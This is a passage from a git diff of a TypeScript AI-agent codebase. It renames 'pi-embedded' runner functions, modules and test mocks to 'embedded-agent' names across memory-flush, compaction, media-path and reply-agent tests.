() => { expect(entry?.compactionCount).toBe(1); expect(replyOperation.setPhase).toHaveBeenCalledWith("preflight_compacting"); - const compactCall = requireCompactEmbeddedPiSessionCall(); + const compactCall = requireCompactEmbeddedAgentSessionCall(); expect(compactCall.sessionId).toBe("session"); expect(compactCall.trigger).toBe("budget"); expect(compactCall.currentTokenCount).toBe(10); @@ -1859,7 +1684,7 @@ describe("runMemoryFlushIfNeeded", () => { }); expect(entry).toBe(sessionEntry); - expect(compactEmbeddedPiSessionMock).not.toHaveBeenCalled(); + expect(compactEmbeddedAgentSessionMock).not.toHaveBeenCalled(); }); it("uses configured prompts and stored bootstrap warning signatures", async () => { @@ -1909,7 +1734,7 @@ describe("runMemoryFlushIfNeeded", () => { replyOperation: createReplyOperation(), }); - const flushCall = requireEmbeddedPiAgentCall(); + const flushCall = requireEmbeddedAgentCall(); expect(flushCall.prompt).toContain("Write notes."); expect(flushCall.prompt).toContain("NO_REPLY"); expect(flushCall.prompt).toContain("MEMORY.md"); diff --git a/src/auto-reply/reply/agent-runner-memory.ts b/src/auto-reply/reply/agent-runner-memory.ts index f03927e5e83..d3dbee89df6 100644 --- a/src/auto-reply/reply/agent-runner-memory.ts +++ b/src/auto-reply/reply/agent-runner-memory.ts @@ -1,19 +1,18 @@ import crypto from "node:crypto"; import fs from "node:fs"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import { resolveBootstrapWarningSignaturesSeen } from "../../agents/bootstrap-budget.js"; import { estimateMessagesTokens } from "../../agents/compaction.js"; -import { resolveAgentHarnessPolicy } from "../../agents/harness/policy.js"; -import { ensureSelectedAgentHarnessPlugin } from "../../agents/harness/runtime-plugin.js"; -import { runWithModelFallback } from "../../agents/model-fallback.js"; -import { listLegacyRuntimeModelProviderAliases } from "../../agents/model-runtime-aliases.js"; -import { isCliProvider } from "../../agents/model-selection.js"; -import { resolveContextConfigProviderForRuntime } from "../../agents/openai-codex-routing.js"; import { classifyCompactionReason, DEFERRED_CONTEXT_ENGINE_COMPACTION_REASON, -} from "../../agents/pi-embedded-runner/compact-reasons.js"; +} from "../../agents/embedded-agent-runner/compact-reasons.js"; +import { resolveAgentHarnessPolicy } from "../../agents/harness/policy.js"; +import { ensureSelectedAgentHarnessPlugin } from "../../agents/harness/runtime-plugin.js"; +import { runWithModelFallback } from "../../agents/model-fallback.js"; +import { isCliProvider } from "../../agents/model-selection.js"; +import { resolveContextConfigProviderForRuntime } from "../../agents/openai-codex-routing.js"; +import type { AgentMessage } from "../../agents/runtime/index.js"; import { resolveSandboxConfigForAgent, resolveSandboxRuntimeStatus } from "../../agents/sandbox.js"; import { derivePromptTokens, @@ -63,32 +62,32 @@ import { isRenderablePayload } from "./reply-payloads-base.js"; import type { ReplyOperation } from "./reply-run-registry.js"; import { incrementCompactionCount } from "./session-updates.js"; -type PiEmbeddedRuntime = typeof import("../../agents/pi-embedded.js"); +type EmbeddedAgentRuntime = typeof import("../../agents/embedded-agent.js"); const MAX_VISIBLE_MEMORY_FLUSH_ERROR_CHARS = 600; -const piEmbeddedRuntimeLoader = createLazyImportLoader( - () => import("../../agents/pi-embedded.js"), +const embeddedAgentRuntimeLoader = createLazyImportLoader( + () => import("../../agents/embedded-agent.js"), ); -function loadPiEmbeddedRuntime(): Promise { - return piEmbeddedRuntimeLoader.load(); +function loadEmbeddedAgentRuntime(): Promise { + return embeddedAgentRuntimeLoader.load(); } -async function compactEmbeddedPiSessionDefault( - ...args: Parameters +async function compactEmbeddedAgentSessionDefault( + ...args: Parameters ): Promise< - Awaited> + Awaited> > { - const { compactEmbeddedPiSession } = await loadPiEmbeddedRuntime(); - return await compactEmbeddedPiSession(...args); + const { compactEmbeddedAgentSession } = await loadEmbeddedAgentRuntime(); + return await compactEmbeddedAgentSession(...args); } -async function runEmbeddedPiAgentDefault( - ...args: Parameters -): Promise>> { - const { runEmbeddedPiAgent } = await loadPiEmbeddedRuntime(); - return await runEmbeddedPiAgent(...args); +async function runEmbeddedAgentDefault( + ...args: Parameters +): Promise>> { + const { runEmbeddedAgent } = await loadEmbeddedAgentRuntime(); + return await runEmbeddedAgent(...args); } async function ensureMemoryFlushTargetFile(params: { @@ -116,10 +115,10 @@ async function ensureMemoryFlushTargetFile(params: { } const memoryDeps = { - compactEmbeddedPiSession: compactEmbeddedPiSessionDefault, + compactEmbeddedAgentSession: compactEmbeddedAgentSessionDefault, runWithModelFallback, ensureSelectedAgentHarnessPlugin, - runEmbeddedPiAgent: runEmbeddedPiAgentDefault, + runEmbeddedAgent: runEmbeddedAgentDefault, ensureMemoryFlushTargetFile, registerAgentRunContext, refreshQueuedFollowupSession, @@ -141,8 +140,8 @@ export function setAgentRunnerMemoryTestDeps(overrides?: Partial - normalizeLowercaseStringOrEmpty(alias.provider) === provider && - normalizeLowercaseStringOrEmpty(alias.runtime) === runtime, - )?.runtime; + return undefined; } function resolveFollowupContextConfigProvider(params: { @@ -645,7 +637,7 @@ export async function runPreflightCompactionIfNeeded(params: { replyOperation: ReplyOperation; }): Promise { const deps = { - compactEmbeddedPiSession: memoryDeps.compactEmbeddedPiSession, + compactEmbeddedAgentSession: memoryDeps.compactEmbeddedAgentSession, incrementCompactionCount: memoryDeps.incrementCompactionCount, refreshQueuedFollowupSession: memoryDeps.refreshQueuedFollowupSession, }; @@ -813,7 +805,7 @@ export async function runPreflightCompactionIfNeeded(params: { params.sessionKey ?? params.followupRun.run.sessionKey, { storePath: params.storePath }, ); - const result = await deps.compactEmbeddedPiSession({ + const result = await deps.compactEmbeddedAgentSession({ sessionId: entry.sessionId, sessionKey: params.sessionKey, sandboxSessionKey: params.runtimePolicySessionKey, @@ -1195,7 +1187,7 @@ export async function runMemoryFlushIfNeeded(params: { runId: flushRunId, allowTransientCooldownProbe: runOptions?.allowTransientCooldownProbe, }); - const result = await memoryDeps.runEmbeddedPiAgent({ + const result = await memoryDeps.runEmbeddedAgent({ ...embeddedContext, ...senderContext, ...runBaseParams, diff --git a/src/auto-reply/reply/agent-runner-payloads.ts b/src/auto-reply/reply/agent-runner-payloads.ts index c96e7946420..583ae79e90f 100644 --- a/src/auto-reply/reply/agent-runner-payloads.ts +++ b/src/auto-reply/reply/agent-runner-payloads.ts @@ -1,6 +1,6 @@ import { resolveSendableOutboundReplyParts } from "openclaw/plugin-sdk/reply-payload"; -import { sanitizeUserFacingText } from "../../agents/pi-embedded-helpers/sanitize-user-facing-text.js"; -import type { MessagingToolSend } from "../../agents/pi-embedded-messaging.types.js"; +import { sanitizeUserFacingText } from "../../agents/embedded-agent-helpers/sanitize-user-facing-text.js"; +import type { MessagingToolSend } from "../../agents/embedded-agent-messaging.types.js"; import type { ReplyToMode } from "../../config/types.js"; import { logVerbose } from "../../globals.js"; import { createLazyImportLoader } from "../../shared/lazy-promise.js"; diff --git a/src/auto-reply/reply/agent-runner.media-paths.test.ts b/src/auto-reply/reply/agent-runner.media-paths.test.ts index 7a2e333c4e5..d124b272d9b 100644 --- a/src/auto-reply/reply/agent-runner.media-paths.test.ts +++ b/src/auto-reply/reply/agent-runner.media-paths.test.ts @@ -2,23 +2,23 @@ import { mkdtemp, rm, writeFile } from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import type { EmbeddedPiQueueMessageOutcome } from "../../agents/pi-embedded-runner/runs.js"; +import type { EmbeddedAgentQueueMessageOutcome } from "../../agents/embedded-agent-runner/runs.js"; import type { TemplateContext } from "../templating.js"; import type { FollowupRun, QueueSettings } from "./queue.js"; import { createMockFollowupRun, createMockTypingController } from "./test-helpers.js"; -const runEmbeddedPiAgentMock = vi.fn(); +const runEmbeddedAgentMock = vi.fn(); const runWithModelFallbackMock = vi.fn(); -const abortEmbeddedPiRunMock = vi.fn(); -const compactEmbeddedPiSessionMock = vi.fn(); -const isEmbeddedPiRunActiveMock = vi.fn(() => false); -const isEmbeddedPiRunStreamingMock = vi.fn(() => false); -const queueEmbeddedPiMessageWithOutcomeAsyncMock = vi.fn( +const abortEmbeddedAgentRunMock = vi.fn(); +const compactEmbeddedAgentSessionMock = vi.fn(); +const isEmbeddedAgentRunActiveMock = vi.fn(() => false); +const isEmbeddedAgentRunStreamingMock = vi.fn(() => false); +const queueEmbeddedAgentMessageWithOutcomeAsyncMock = vi.fn( async ( sessionId: string, _text: string, _options?: unknown, - ): Promise => ({ + ): Promise => ({ queued: false, sessionId, reason: "not_streaming", @@ -26,7 +26,7 @@ const queueEmbeddedPiMessageWithOutcomeAsyncMock = vi.fn( }), ); const resolveEmbeddedSessionLaneMock = vi.fn(); -const waitForEmbeddedPiRunEndMock = vi.fn(); +const waitForEmbeddedAgentRunEndMock = vi.fn(); const enqueueFollowupRunMock = vi.fn(); const scheduleFollowupDrainMock = vi.fn(); const refreshQueuedFollowupSessionMock = vi.fn(); @@ -45,23 +45,23 @@ vi.mock("../../agents/model-fallback.js", () => ({ Array.isArray((err as { attempts?: unknown[] }).attempts), })); -vi.mock("../../agents/pi-embedded.js", () => ({ - abortEmbeddedPiRun: abortEmbeddedPiRunMock, - compactEmbeddedPiSession: compactEmbeddedPiSessionMock, - isEmbeddedPiRunActive: isEmbeddedPiRunActiveMock, - isEmbeddedPiRunStreaming: isEmbeddedPiRunStreamingMock, - queueEmbeddedPiMessageWithOutcomeAsync: queueEmbeddedPiMessageWithOutcomeAsyncMock, +vi.mock("../../agents/embedded-agent.js", () => ({ + abortEmbeddedAgentRun: abortEmbeddedAgentRunMock, + compactEmbeddedAgentSession: compactEmbeddedAgentSessionMock, + isEmbeddedAgentRunActive: isEmbeddedAgentRunActiveMock, + isEmbeddedAgentRunStreaming: isEmbeddedAgentRunStreamingMock, + queueEmbeddedAgentMessageWithOutcomeAsync: queueEmbeddedAgentMessageWithOutcomeAsyncMock, resolveEmbeddedSessionLane: resolveEmbeddedSessionLaneMock, - runEmbeddedPiAgent: runEmbeddedPiAgentMock, - waitForEmbeddedPiRunEnd: waitForEmbeddedPiRunEndMock, + runEmbeddedAgent: runEmbeddedAgentMock, + waitForEmbeddedAgentRunEnd: waitForEmbeddedAgentRunEndMock, })); -vi.mock("../../agents/pi-embedded-runner/runs.js", () => ({ - formatEmbeddedPiQueueFailureSummary: (outcome: { reason?: string; sessionId?: string }) => +vi.mock("../../agents/embedded-agent-runner/runs.js", () => ({ + formatEmbeddedAgentQueueFailureSummary: (outcome: { reason?: string; sessionId?: string }) => outcome.reason && outcome.sessionId ? `queue_message_failed reason=${outcome.reason} sessionId=${outcome.sessionId} gatewayHealth=live` : undefined, - queueEmbeddedPiMessageWithOutcomeAsync: queueEmbeddedPiMessageWithOutcomeAsyncMock, + queueEmbeddedAgentMessageWithOutcomeAsync: queueEmbeddedAgentMessageWithOutcomeAsyncMock, })); vi.mock("./queue.js", () => ({ @@ -146,23 +146,23 @@ describe("runReplyAgent media path normalization", () => { }); beforeEach(() => { - runEmbeddedPiAgentMock.mockReset(); + runEmbeddedAgentMock.mockReset(); runWithModelFallbackMock.mockReset(); - abortEmbeddedPiRunMock.mockReset(); - compactEmbeddedPiSessionMock.mockReset(); - isEmbeddedPiRunActiveMock.mockReset(); - isEmbeddedPiRunActiveMock.mockReturnValue(false); - isEmbeddedPiRunStreamingMock.mockReset(); - isEmbeddedPiRunStreamingMock.mockReturnValue(false); - queueEmbeddedPiMessageWithOutcomeAsyncMock.mockReset(); - queueEmbeddedPiMessageWithOutcomeAsyncMock.mockImplementation(async (sessionId: string) => ({ + abortEmbeddedAgentRunMock.mockReset(); + compactEmbeddedAgentSessionMock.mockReset(); + isEmbeddedAgentRunActiveMock.mockReset(); + isEmbeddedAgentRunActiveMock.mockReturnValue(false); + isEmbeddedAgentRunStreamingMock.mockReset(); + isEmbeddedAgentRunStreamingMock.mockReturnValue(false); + queueEmbeddedAgentMessageWithOutcomeAsyncMock.mockReset(); + queueEmbeddedAgentMessageWithOutcomeAsyncMock.mockImplementation(async (sessionId: string) => ({ queued: false, sessionId, reason: "not_streaming", gatewayHealth: "live", })); resolveEmbeddedSessionLaneMock.mockReset(); - waitForEmbeddedPiRunEndMock.mockReset(); + waitForEmbeddedAgentRunEndMock.mockReset(); enqueueFollowupRunMock.mockReset(); scheduleFollowupDrainMock.mockReset(); refreshQueuedFollowupSessionMock.mockReset(); @@ -196,7 +196,7 @@ describe("runReplyAgent media path normalization", () => { }); it("normalizes final MEDIA replies against the run workspace", async () => { - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "MEDIA:./out/generated.png" }], meta: { agentMeta: { @@ -230,7 +230,7 @@ describe("runReplyAgent media path normalization", () => { }); it("steers active prompts in steer queue mode", async () => { - queueEmbeddedPiMessageWithOutcomeAsyncMock.mockImplementation(async (sessionId: string) => ({ + queueEmbeddedAgentMessageWithOutcomeAsyncMock.mockImplementation(async (sessionId: string) => ({ queued: true, sessionId, target: "embedded_run", @@ -246,7 +246,7 @@ describe("runReplyAgent media path normalization", () => { }), ); - expect(queueEmbeddedPiMessageWithOutcomeAsyncMock).toHaveBeenLastCalledWith( + expect(queueEmbeddedAgentMessageWithOutcomeAsyncMock).toHaveBeenLastCalledWith( "session", "generate chart", { @@ -268,13 +268,13 @@ describe("runReplyAgent media path normalization", () => { }), ); - expect(queueEmbeddedPiMessageWithOutcomeAsyncMock).not.toHaveBeenCalled(); + expect(queueEmbeddedAgentMessageWithOutcomeAsyncMock).not.toHaveBeenCalled(); expect(enqueueFollowupRunMock).toHaveBeenCalledOnce(); expect(enqueueFollowupRunMock.mock.calls[0]?.[1].prompt).toBe("generate chart"); }); it("falls back to a queued followup when active steering is rejected", async () => { - queueEmbeddedPiMessageWithOutcomeAsyncMock.mockImplementation(async (sessionId: string) => ({ + queueEmbeddedAgentMessageWithOutcomeAsyncMock.mockImplementation(async (sessionId: string) => ({ queued: false, sessionId, reason: "runtime_rejected", @@ -306,7 +306,7 @@ describe("runReplyAgent media path normalization", () => { }; }); const onBlockReply = vi.fn(); - runEmbeddedPiAgentMock.mockImplementation( + runEmbeddedAgentMock.mockImplementation( async (params: { onBlockReply?: (payload: { text?: string; mediaUrls?: string[] }) => Promise; }) => { @@ -354,7 +354,7 @@ describe("runReplyAgent media path normalization", () => { // // After the fix, agent-runner.ts passes its media context into runAgentTurnWithFallback, so // the .runtime import path is never called from inside that function. - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [], meta: { agentMeta: { @@ -379,8 +379,8 @@ describe("runReplyAgent media path normalization", () => { expect(createReplyMediaContextRuntimeMock).not.toHaveBeenCalled(); }); - it("passes current inbound media paths as native PI images", async () => { - const tmpDir = await mkdtemp(path.join(os.tmpdir(), "openclaw-native-pi-media-")); + it("passes current inbound media paths as native OpenClaw images", async () => { + const tmpDir = await mkdtemp(path.join(os.tmpdir(), "openclaw-native-agent-media-")); cleanupPaths.push(tmpDir); const imagePath = path.join(tmpDir, "photo.png"); await writeFile( @@ -390,7 +390,7 @@ describe("runReplyAgent media path normalization", () => { "base64", ), ); - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "ok" }], meta: { agentMeta: { @@ -419,8 +419,8 @@ describe("runReplyAgent media path normalization", () => { }), ); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); - const call = runEmbeddedPiAgentMock.mock.calls[0]?.[0] as + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); + const call = runEmbeddedAgentMock.mock.calls[0]?.[0] as | { images?: Array<{ type?: string; data?: string; mimeType?: string }>; imageOrder?: string[]; @@ -437,8 +437,8 @@ describe("runReplyAgent media path normalization", () => { expect(call?.imageOrder).toEqual(["inline"]); }); - it("does not pass recent history images as unlabeled native PI images", async () => { - const tmpDir = await mkdtemp(path.join(os.tmpdir(), "openclaw-native-pi-history-")); + it("does not pass recent history images as unlabeled native OpenClaw images", async () => { + const tmpDir = await mkdtemp(path.join(os.tmpdir(), "openclaw-native-agent-history-")); cleanupPaths.push(tmpDir); const imagePath = path.join(tmpDir, "recent.png"); await writeFile( @@ -448,7 +448,7 @@ describe("runReplyAgent media path normalization", () => { "base64", ), ); - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "ok" }], meta: { agentMeta: { @@ -483,8 +483,8 @@ describe("runReplyAgent media path normalization", () => { }), ); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); - const call = runEmbeddedPiAgentMock.mock.calls[0]?.[0] as + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); + const call = runEmbeddedAgentMock.mock.calls[0]?.[0] as | { images?: Array<{ type?: string; data?: string; mimeType?: string }>; imageOrder?: string[]; @@ -495,7 +495,7 @@ describe("runReplyAgent media path normalization", () => { }); it("falls back to prompt refs instead of forwarding partial current media", async () => { - const tmpDir = await mkdtemp(path.join(os.tmpdir(), "openclaw-native-pi-partial-")); + const tmpDir = await mkdtemp(path.join(os.tmpdir(), "openclaw-native-agent-partial-")); cleanupPaths.push(tmpDir); const imagePath = path.join(tmpDir, "present.png"); await writeFile( @@ -505,7 +505,7 @@ describe("runReplyAgent media path normalization", () => { "base64", ), ); - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "ok" }], meta: { agentMeta: { @@ -534,8 +534,8 @@ describe("runReplyAgent media path normalization", () => { }), ); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); - const call = runEmbeddedPiAgentMock.mock.calls[0]?.[0] as + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); + const call = runEmbeddedAgentMock.mock.calls[0]?.[0] as | { images?: Array<{ type?: string; data?: string; mimeType?: string }>; imageOrder?: string[]; diff --git a/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts b/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts index 6a8f45223c1..2028c4d6d55 100644 --- a/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts +++ b/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts @@ -2,11 +2,12 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { testing as cliBackendsTesting } from "../../agents/cli-backends.js"; import { testing as embeddedRunTesting, - abortEmbeddedPiRun, - isEmbeddedPiRunActive, -} from "../../agents/pi-embedded-runner/runs.js"; + abortEmbeddedAgentRun, + isEmbeddedAgentRunActive, +} from "../../agents/embedded-agent-runner/runs.js"; import { clearRuntimeConfigSnapshot } from "../../config/config.js"; import type { OpenClawConfig } from "../../config/config.js"; import * as sessionTypesModule from "../../config/sessions.js"; @@ -42,19 +43,40 @@ function createCliBackendTestConfig() { }; } +function registerCliBackendsForTest(): void { + cliBackendsTesting.setDepsForTest({ + resolveRuntimeCliBackends: () => [ + { + id: "claude-cli", + modelProvider: "anthropic", + pluginId: "anthropic", + config: { command: "claude" }, + bundleMcp: false, + }, + { + id: "google-gemini-cli", + modelProvider: "google", + pluginId: "google", + config: { command: "gemini" }, + bundleMcp: false, + }, + ], + }); +} + function registerMemoryFlushPlanResolverForTest(resolver: MemoryFlushPlanResolver): void { registerMemoryCapability("memory-core", { flushPlanResolver: resolver }); } -const runEmbeddedPiAgentMock = vi.fn(); +const runEmbeddedAgentMock = vi.fn(); const runCliAgentMock = vi.fn(); const runWithModelFallbackMock = vi.fn(); const runtimeErrorMock = vi.fn(); -const abortEmbeddedPiRunMock = vi.fn(); +const abortEmbeddedAgentRunMock = vi.fn(); const clearSessionQueuesMock = vi.fn(); const refreshQueuedFollowupSessionMock = vi.fn(); const compactState = vi.hoisted(() => ({ - compactEmbeddedPiSessionMock: vi.fn(), + compactEmbeddedAgentSessionMock: vi.fn(), })); vi.mock("../../agents/model-fallback.js", () => ({ @@ -73,17 +95,17 @@ vi.mock("../../agents/model-auth.js", () => ({ resolveModelAuthMode: () => "api-key", })); -vi.mock("../../agents/pi-embedded.js", () => { +vi.mock("../../agents/embedded-agent.js", () => { return { - compactEmbeddedPiSession: (params: unknown) => - compactState.compactEmbeddedPiSessionMock(params), - queueEmbeddedPiMessage: vi.fn().mockReturnValue(false), - runEmbeddedPiAgent: (params: unknown) => runEmbeddedPiAgentMock(params), - abortEmbeddedPiRun: (sessionId: string) => { - abortEmbeddedPiRunMock(sessionId); - return abortEmbeddedPiRun(sessionId); + compactEmbeddedAgentSession: (params: unknown) => + compactState.compactEmbeddedAgentSessionMock(params), + queueEmbeddedAgentMessage: vi.fn().mockReturnValue(false), + runEmbeddedAgent: (params: unknown) => runEmbeddedAgentMock(params), + abortEmbeddedAgentRun: (sessionId: string) => { + abortEmbeddedAgentRunMock(sessionId); + return abortEmbeddedAgentRun(sessionId); }, - isEmbeddedPiRunActive: (sessionId: string) => isEmbeddedPiRunActive(sessionId), + isEmbeddedAgentRunActive: (sessionId: string) => isEmbeddedAgentRunActive(sessionId), }; }); @@ -189,18 +211,19 @@ function firstMockCallArg(mock: MockCallSource, label: string): unknown { } beforeEach(() => { + registerCliBackendsForTest(); clearRuntimeConfigSnapshot(); resetDiagnosticEventsForTest(); resetSystemEventsForTest(); embeddedRunTesting.resetActiveEmbeddedRuns(); replyRunRegistryTesting.resetReplyRunRegistry(); - runEmbeddedPiAgentMock.mockClear(); + runEmbeddedAgentMock.mockClear(); runCliAgentMock.mockClear(); runWithModelFallbackMock.mockClear(); runtimeErrorMock.mockClear(); - abortEmbeddedPiRunMock.mockClear(); - compactState.compactEmbeddedPiSessionMock.mockReset(); - compactState.compactEmbeddedPiSessionMock.mockResolvedValue({ + abortEmbeddedAgentRunMock.mockClear(); + compactState.compactEmbeddedAgentSessionMock.mockReset(); + compactState.compactEmbeddedAgentSessionMock.mockResolvedValue({ compacted: false, reason: "test-preflight-disabled", }); @@ -224,6 +247,7 @@ beforeEach(() => { }); afterEach(() => { + cliBackendsTesting.resetDepsForTest(); clearRuntimeConfigSnapshot(); resetDiagnosticEventsForTest(); resetSystemEventsForTest(); @@ -308,7 +332,7 @@ describe("runReplyAgent auto-compaction token update", () => { await seedSessionStore({ storePath, sessionKey, entry: sessionEntry }); - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "ok" }], meta: { agentMeta: params.agentMeta, @@ -374,7 +398,7 @@ describe("runReplyAgent auto-compaction token update", () => { // totalTokens should use lastCallUsage (55k), not accumulated (75k) expect(stored[sessionKey].totalTokens).toBe(55_000); - }); + }, 180_000); it("starts queued followup drain only after clearing the active reply operation", async () => { const sessionKey = "main"; @@ -383,7 +407,7 @@ describe("runReplyAgent auto-compaction token update", () => { updatedAt: Date.now(), totalTokens: 50_000, }; - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "ok" }], meta: { agentMeta: {} }, }); @@ -559,7 +583,7 @@ describe("runReplyAgent auto-compaction token update", () => { describe("runReplyAgent block streaming", () => { it("coalesces duplicate text_end block replies", async () => { const onBlockReply = vi.fn(); - runEmbeddedPiAgentMock.mockImplementationOnce(async (params) => { + runEmbeddedAgentMock.mockImplementationOnce(async (params) => { const block = params.onBlockReply as ((payload: { text?: string }) => void) | undefined; block?.({ text: "Hello" }); block?.({ text: "Hello" }); @@ -663,7 +687,7 @@ describe("runReplyAgent block streaming", () => { }); }); - runEmbeddedPiAgentMock.mockImplementationOnce(async (params) => { + runEmbeddedAgentMock.mockImplementationOnce(async (params) => { const block = params.onBlockReply as ((payload: { text?: string }) => void) | undefined; block?.({ text: "Chunk" }); return { @@ -775,7 +799,7 @@ describe("runReplyAgent Active Memory inline debug", () => { "utf-8", ); - runEmbeddedPiAgentMock.mockImplementationOnce(async () => { + runEmbeddedAgentMock.mockImplementationOnce(async () => { const latest = loadSessionStore(storePath, { skipCache: true }); latest[sessionKey] = { ...latest[sessionKey], @@ -887,7 +911,7 @@ describe("runReplyAgent Active Memory inline debug", () => { "utf-8", ); - runEmbeddedPiAgentMock.mockImplementationOnce(async () => { + runEmbeddedAgentMock.mockImplementationOnce(async () => { const latest = loadSessionStore(storePath, { skipCache: true }); latest[sessionKey] = { ...latest[sessionKey], @@ -998,7 +1022,7 @@ describe("runReplyAgent Active Memory inline debug", () => { "utf-8", ); - runEmbeddedPiAgentMock.mockImplementationOnce(async () => { + runEmbeddedAgentMock.mockImplementationOnce(async () => { const latest = loadSessionStore(storePath, { skipCache: true }); latest[sessionKey] = { ...latest[sessionKey], @@ -1147,7 +1171,7 @@ describe("runReplyAgent Active Memory inline debug", () => { ], }), ); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "Visible reply" }], meta: { finalPromptText: @@ -1348,7 +1372,7 @@ describe("runReplyAgent Active Memory inline debug", () => { await fs.writeFile(storePath, JSON.stringify({ [sessionKey]: sessionEntry }, null, 2), "utf-8"); await fs.writeFile(sessionFile, "", "utf-8"); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "Visible reply" }], meta: { finalPromptText: "secret prompt context", @@ -1464,7 +1488,7 @@ describe("runReplyAgent Active Memory inline debug", () => { "utf-8", ); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "Visible reply" }], meta: { finalPromptText: "/trace raw", @@ -1564,7 +1588,7 @@ describe("runReplyAgent Active Memory inline debug", () => { await fs.writeFile(storePath, JSON.stringify({ [sessionKey]: sessionEntry }, null, 2), "utf-8"); await fs.writeFile(sessionFile, "", "utf-8"); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "Visible reply" }], meta: { finalPromptText: "show me\n~~~\nnot a fence", @@ -1669,7 +1693,7 @@ describe("runReplyAgent Active Memory inline debug", () => { ); const loadSessionStoreSpy = vi.spyOn(sessionTypesModule, "loadSessionStore"); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "Normal reply" }], meta: {}, }); @@ -1824,7 +1848,7 @@ describe("runReplyAgent claude-cli routing", () => { const result = await createRun(); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); expect(runCliAgentMock).toHaveBeenCalledTimes(1); expectReplyText(result, "ok"); }); @@ -2007,7 +2031,7 @@ describe("runReplyAgent claude-cli routing", () => { typingMode: "instant", }); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); expectRecordFields( firstMockCallArg(runCliAgentMock, "CLI run params"), { provider: "claude-cli" }, @@ -2082,7 +2106,7 @@ describe("runReplyAgent messaging tool dedupe", () => { } it("delivers distinct replies when a messaging tool sent via the same provider + target", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "hello world!" }], messagingToolSentTexts: ["different message"], messagingToolSentTargets: [{ tool: "slack", provider: "slack", to: "channel:C1" }], @@ -2095,7 +2119,7 @@ describe("runReplyAgent messaging tool dedupe", () => { }); it("drops duplicate replies when a messaging tool sent the same text via the same provider + target", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "hello world!" }], messagingToolSentTexts: ["hello world!"], messagingToolSentTargets: [{ tool: "slack", provider: "slack", to: "channel:C1" }], @@ -2108,7 +2132,7 @@ describe("runReplyAgent messaging tool dedupe", () => { }); it("delivers replies when tool provider does not match", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "hello world!" }], messagingToolSentTexts: ["different message"], messagingToolSentTargets: [{ tool: "discord", provider: "discord", to: "channel:C1" }], @@ -2121,7 +2145,7 @@ describe("runReplyAgent messaging tool dedupe", () => { }); it("keeps final reply when text matches a cross-target messaging send", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "hello world!" }], messagingToolSentTexts: ["hello world!"], messagingToolSentTargets: [{ tool: "discord", provider: "discord", to: "channel:C1" }], @@ -2134,7 +2158,7 @@ describe("runReplyAgent messaging tool dedupe", () => { }); it("delivers replies when account ids do not match", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "hello world!" }], messagingToolSentTexts: ["different message"], messagingToolSentTargets: [ @@ -2215,7 +2239,7 @@ describe("runReplyAgent reminder commitment guard", () => { } it("appends guard note when reminder commitment is not backed by cron.add", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "I'll remind you tomorrow morning." }], meta: {}, successfulCronAdds: 0, @@ -2229,7 +2253,7 @@ describe("runReplyAgent reminder commitment guard", () => { }); it("keeps reminder commitment unchanged when cron.add succeeded", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "I'll remind you tomorrow morning." }], meta: {}, successfulCronAdds: 1, @@ -2254,7 +2278,7 @@ describe("runReplyAgent reminder commitment guard", () => { ], }); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + 